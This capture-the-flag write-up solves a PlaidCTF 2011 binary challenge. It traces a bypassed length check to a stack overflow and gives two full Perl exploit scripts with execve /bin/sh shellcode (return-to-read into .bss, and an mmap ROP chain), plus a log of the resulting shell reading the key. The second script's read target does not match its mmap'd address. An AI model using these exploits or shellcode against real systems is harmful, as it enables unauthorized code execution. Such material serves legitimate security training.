This is my writeup for the nineteenth challenge in the PlaidCTF 2011 competition. The information for the challenge was:
“This time, let’s attack /opt/pctf/z2/exploitme.
ssh username@a5.amalgamated.biz”
Using IDA Pro I can see that the program takes one command line argument, which is interpreted as an unsigned integer representing the number of bytes to read from stdin into a 512 byte buffer. There is a length check that is meant to ensure that we don’t pass more than 512 as the length argument. However, it also checks the return value of a function that is supposed to log the error.
.text:080481BA mov eax, [ebp+argv] .text:080481BD add eax, 4 .text:080481C0 mov eax, [eax] .text:080481C2 mov [esp], eax .text:080481C5 call strtoul .text:080481CA mov [esp+21Ch], eax .text:080481D1 cmp dword ptr [esp+21Ch], 511 .text:080481DC jbe short LengthOk .text:080481DE mov dword ptr [esp], offset aAssertionLenSi ; "[assertion] len < sizeof(buffer)" .text:080481E5 call log_error .text:080481EA test eax, eax .text:080481EC jz short LengthOk .text:080481EE mov dword ptr [esp], 2 ; status .text:080481F5 call myexit
Examining the log_error() function (named by me) we see that the logfile is /home/z2/logs/assert.log, and that the function returns zero if the file could not be opened. If we can somehow get fopen() to fail, that would mean the length check in the main() function becomes ineffective.
.text:08048137 mov dword ptr [esp+4], offset aA ; "a" .text:0804813F mov dword ptr [esp], offset aHomeZ2LogsAsse ; "/home/z2/logs/assert.log" .text:08048146 call fopen_unlocked .text:0804814B mov [ebp+fp], eax .text:0804814E cmp [ebp+fp], 0 .text:08048152 jnz short LogError .text:08048154 mov eax, 0 .text:08048159 jmp short Return
Normally, I would accomplish this by using
ulimit -n
to set the maximum number of open file descriptors before executing the vulnerable program, in this case we don't even need that though. :D Turns out the /home/z2/logs directory does not exist, and thus the fopen() will always fail. Since the buffer that is read into is located on the stack, we end up with a vanilla stackbased buffer overflow.
No stack canaries are used, and the executable does not even have NX enabled. The only hurdles we need to overcome are that the stack is randomized and that the binary is statically linked (so we can't jump to system() in libc). To deal with this, I chose to use a return-to-text based attack. For completeness I chose to make two variants of my exploit, one that relies on .bss being executable and one that would work with full NX too.
My first exploit simply returns into read(), with the stack set up to read from file descriptor 0 (stdin) to the .bss segment, and then return into that buffer. It relies on the following addresses, easily retrieved from the binary using IDA Pro:
- 0x80489d8 - read()
- 0x804b510 - .bss
z2_201@a5:~$ cat > z2-bss.pl #!/usr/bin/perl use FileHandle; my $code = "\xeb\x10". # jmp jumpme # callme: "\x5b". # pop %ebx "\x31\xd2". # xor %edx,%edx "\x88\x53\x07". # mov %dl,0x7(%ebx) "\x52". # push %edx "\x53". # push %ebx "\x89\xe1". # mov %esp,%ecx "\x31\xc0". # xor %eax,%eax "\xb0\x0b". # mov $0xb,%al "\xcd\x80". # int $0x80 # jumpme: "\xe8\xeb\xff\xff\xff". # call callme "/bin/sh"; # .ascii "/bin/sh" STDOUT->autoflush(1); print "A"x532, # Pads pack("L",0x80489d8), # read(0, bssaddr, 1024) pack("L",0x804b510), # ret - .bss pack("L",0), # stdin pack("L",0x804b510), # .bss pack("L",length($code)),"\n"; # 1024 sleep 1; print $code; ^D z2_201@a5:~$ (./z2-bss.pl; cat) | /opt/pctf/z2/exploitme 1000 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA؉� id uid=2200(z2_201) gid=1001(z2users) egid=1003(z2key) groups=1001(z2users) cat /opt/pctf/z2/key This is the key: EASTEREGGHUNTS_ARE_FUN
My second exploit returns into mmap() to map a writable and executable buffer at a fixed location, then into an address with six pops and a ret instruction to go past the mmap() arguments on the stack and return into read() just as in the previous exploit. This relies on the address of:
- 0x8049abc - mmap()
- 0x8048529 - pop * 6 + ret
- 0x80489d8 - read()
This is the source of my second exploit:
#!/usr/bin/perl use FileHandle; my $code = "\xeb\x10". # jmp jumpme # callme: "\x5b". # pop %ebx "\x31\xd2". # xor %edx,%edx "\x88\x53\x07". # mov %dl,0x7(%ebx) "\x52". # push %edx "\x53". # push %ebx "\x89\xe1". # mov %esp,%ecx "\x31\xc0". # xor %eax,%eax "\xb0\x0b". # mov $0xb,%al "\xcd\x80". # int $0x80 # jumpme: "\xe8\xeb\xff\xff\xff". # call callme "/bin/sh"; # .ascii "/bin/sh" STDOUT->autoflush(1); print "A"x532, # Pads pack("L",0x8049abc), # mmap() pack("L",0x8048529), # pop*6 + ret pack("L",0xbabe1000), # addr pack("L",0x1000), # length pack("L",1|2|4), # PROT_EXEC|PROT_WRITE|PROT_READ pack("L",0x10|0x2|0x20), # MAP_FIXED|MAP_PRIVATE|MAP_ANON pack("L",0xffffffff), # -1 pack("L",0), # 0 pack("L",0x80489d8), # read(0, addr, 1024) pack("L",0x804b510), # addr pack("L",0), # stdin pack("L",0x804b510), # addr pack("L",length($code)),"\n"; # length sleep 1; print $code;
Note the call to sleep between the exploit buffer and the shellcode. This is to make sure that only the exploit buffer is read by the fgets(), and the shellcode by the call to read() that I set up.